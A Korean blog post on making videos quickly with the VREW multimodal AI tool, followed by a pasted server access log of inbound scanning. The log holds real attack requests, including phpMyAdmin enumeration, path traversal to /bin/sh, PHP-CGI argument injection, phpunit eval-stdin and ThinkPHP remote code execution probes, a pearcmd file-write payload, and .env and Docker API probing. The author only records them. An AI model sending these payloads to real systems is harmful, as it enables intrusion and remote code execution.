정확히는 2시간, 사용 프로그램, 멀티모달 챗봇 VREW 꼴랑 1개로.
좀 더 정확히는 영상당 5~10분 정도.
그중 사람이 하는 작업은 1분 미만.
서두에 결론 : 영상도 AI 보다는 사람이 낫다.
그 외 : 다양한 AI 목소리가 있는데, 왜 유튜브에서는 같은 목소리만 나오는지 알겠다. -> 어색한 AI 음성과 그나마 좀 나은 AI 목소리가 있기 때문.
챗봇 원리 : stable diffusion으로 문자 in그림 out,
TTS로 음성을 스피치로 변환, 문자 in 목소리 out,
그리고 깔끔하게 문장을 나누는 text in, text out,
... 영상in자막in영상out
개발자면, 다음과 같은 API 들로 만들어 보면 되겠다.
아마존의 다양한 서비스를 보려면?
다양한 API는 나와 있으나, VREW 만큼 편하지는 않다. 보이저 X의 앞글자 V를 따서 만든 VREW 편하다. vflat 도 나오자마자 쓰면서 주변에 알렸었는데, 내가 연구노트 구노에 올릴 때 스캔으로 쓴다. 여담이고 지금도 웃긴 건 vflat을 투자자들에게도 알렸는데 앱 만들 때, 나중에 만드는 앱에 스캔 기능이 필요했고, vflat 이랑 비교당해서 vflat을 따라 만들 수밖에 없었다. 몇 주내에 제대로 만들어야 했던 터라. 오픈소스로 빠르게 만드는 것이 필요했고, 그게 바로 이 프로젝트고 나름 기여했다. 지금은 AI가 너무 발달해서 오픈소스 기여라는게 사실상 큰 의미가 없어, 내 repo만 신경쓰고 있지만.
https://github.com/WeTransfer/WeScan/pull/378
다행히 지금은 주업이 3D, VR 쪽이라 VREW랑은 안 겹쳐서... 좋다. 보이저 X는 사용자에게 편리한 앱을 만드는 회사로 가닥은 잡은 것 같다. 사실, 나도 딥러닝을 공부하게 된 이유가 2014년 즈음인가 남세동 씨 영상을 보고 난 후였다. 세이클럽을 애용했었는데, 그걸 만든 장본인이다. 분명 이 사람이 가는 길에는 유저가 쓸 이유가 있을 제품을 만들 것이라는 생각이었다. 평생을 선행개발만 하고 살았는데, 또 상품화 단과 밀접하게 연관되어 있다보니 비슷한 카테고리의 사람은 왕왕 찾아 본다. vflat이랑 vrew를 보면서, 세부 기술은 빅테크에서 하는 기술들이지만 분명 승산이 있어 보인다.
이런 느낌이 나는 영상을 본다면 멀티모달 챗봇(AI)으로 만들었다고 생각하면 되겠다.
공격 많이 들어오는구마이라... log
C:\GitHub\repo_hajunho.slack.com\AIprojects\face_blur\fastApiProject\.venv\Scripts\python.exe -m uvicorn main:app --host 0.0.0.0 --reload --port 80 --reload-exclude "'.venv/*'"
INFO: Will watch for changes in these directories: ['C:\\GitHub\\repo_hajunho.slack.com\\AIprojects\\face_blur\\fastApiProject']
INFO: Uvicorn running on http://0.0.0.0:80 (Press CTRL+C to quit)
INFO: Started reloader process [10612] using WatchFiles
INFO: Started server process [33700]
INFO: Waiting for application startup.
INFO: Application startup complete.
INFO: 14.47.147.141:65408 - "GET / HTTP/1.1" 200 OK
INFO: 14.47.147.141:65407 - "GET / HTTP/1.1" 200 OK
INFO: 35.195.29.134:36782 - "GET / HTTP/1.1" 200 OK
INFO: 14.47.147.141:51970 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 89.78.49.176:36730 - "GET /_phpmyadmin_/index.php?lang=en HTTP/1.1" 404 Not Found
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INFO: 122.116.189.221:36882 - "GET / HTTP/1.0" 200 OK
INFO: 37.99.69.184:59179 - "GET / HTTP/1.1" 200 OK
WARNING: Invalid HTTP request received.
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WARNING: Invalid HTTP request received.
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INFO: 54.248.195.51:64855 - "GET / HTTP/1.1" 200 OK
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INFO: 67.10.94.138:38306 - "GET /phpMyAdmin-5/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:38314 - "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:38322 - "GET /db/webadmin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:38324 - "GET /PMA/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51604 - "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51614 - "GET /sql/sqlweb/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51622 - "GET /sql/phpmyadmin4/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51636 - "GET /phpmyadmin5/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51652 - "GET /admin/sysadmin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51658 - "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51668 - "GET /phpMyAdmin-5.2.1-english/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51678 - "GET /phpMyAdmin-5.2.1-all-languages/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51680 - "GET /sql/sql-admin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:56518 - "GET /mysql-admin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:56530 - "GET /db/phpmyadmin4/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:56538 - "GET /dbadmin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:56552 - "GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:56554 - "GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:56562 - "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:56568 - "GET /administrator/db/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:56580 - "GET /_phpmyadmin_/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:56596 - "GET /phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:56610 - "GET /mysqladmin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:56624 - "GET /administrator/admin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:56636 - "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:49952 - "GET /phpmyadmin2019/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:49954 - "GET /admin/pma/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:49958 - "GET /phpMyAdmin4/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:49974 - "GET /phpMyAdmin-5.1.1/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:49988 - "GET /__phpmyadmin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:49996 - "GET /phpMyAdmin-latest-english/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:49998 - "GET /1phpmyadmin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:50004 - "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:50018 - "GET /sql/sql/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:50032 - "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51464 - "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51474 - "GET /mysql/web/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51478 - "GET /php-myadmin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51494 - "GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51506 - "GET /phpMyAdmin5/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51518 - "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51532 - "GET /phpMyAdmin5.1/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51544 - "GET /mysql/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51552 - "GET /admin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51562 - "GET /phpMyAdmin-5.1.3/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51574 - "GET /phpMyAdmin-4.9.10-all-languages/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:51576 - "GET /phpMyAdmin-5.2.0/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:37280 - "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:37296 - "GET /sql/phpmyadmin5/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:37310 - "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:37318 - "GET /phpMyAdmin-5.1.0/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:37326 - "GET /db/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:37334 - "GET /phpMyAdmin6.0/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:37346 - "GET /database/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:37360 - "GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:37370 - "GET /admin/db/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:37378 - "GET /administrator/web/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:37388 - "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:37394 - "GET /phpMyAdmin5.2/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:37408 - "GET /phpMyAdmin-5.2.0-all-languages/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:52336 - "GET /_phpMyAdmin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:52340 - "GET /php-my-admin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:52346 - "GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:52352 - "GET /phpMyAdmin_/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:52366 - "GET /phpMyAdmin1/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:52370 - "GET /db/db-admin/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 67.10.94.138:52382 - "GET /mysql/pMA/index.php?lang=en HTTP/1.1" 404 Not Found
INFO: 77.28.138.140:47427 - "GET / HTTP/1.0" 200 OK
INFO: 59.6.89.232:60263 - "GET / HTTP/1.0" 200 OK
INFO: 4.156.21.171:42534 - "GET /ReportServer HTTP/1.1" 404 Not Found
INFO: 27.109.239.178:58985 - "GET / HTTP/1.0" 200 OK
INFO: 8.220.201.94:57684 - "POST /cgi-bin/../../../../../../../../../../bin/sh HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "POST /cgi-bin/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/bin/sh HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5("hi"));?>+/tmp/index1.php HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1" 404 Not Found
INFO: 8.220.201.94:57684 - "GET /containers/json HTTP/1.1" 404 Not Found
INFO: 45.43.33.218:54423 - "GET / HTTP/1.1" 200 OK
WARNING: Invalid HTTP request received.
INFO: 5.8.11.202:60000 - "GET / HTTP/1.0" 200 OK
INFO: 178.215.236.240:57338 - "GET /_profiler/phpinfo HTTP/1.1" 404 Not Found
INFO: 206.168.34.204:49686 - "GET / HTTP/1.1" 200 OK
INFO: 206.168.34.204:48464 - "GET /favicon.ico HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 120.92.12.14:61441 - "GET / HTTP/1.1" 200 OK
WARNING: Invalid HTTP request received.
INFO: 60.22.92.253:33189 - "GET / HTTP/1.0" 200 OK
INFO: 1.53.124.146:52037 - "GET / HTTP/1.0" 200 OK
INFO: 185.82.219.179:61000 - "GET /.env HTTP/1.0" 404 Not Found
INFO: 35.203.210.8:63722 - "GET / HTTP/1.1" 200 OK
INFO: 93.174.93.12:60000 - "GET / HTTP/1.0" 200 OK
INFO: 171.227.11.74:44756 - "GET / HTTP/1.0" 200 OK
INFO: 14.116.254.172:55454 - "GET / HTTP/1.1" 200 OK
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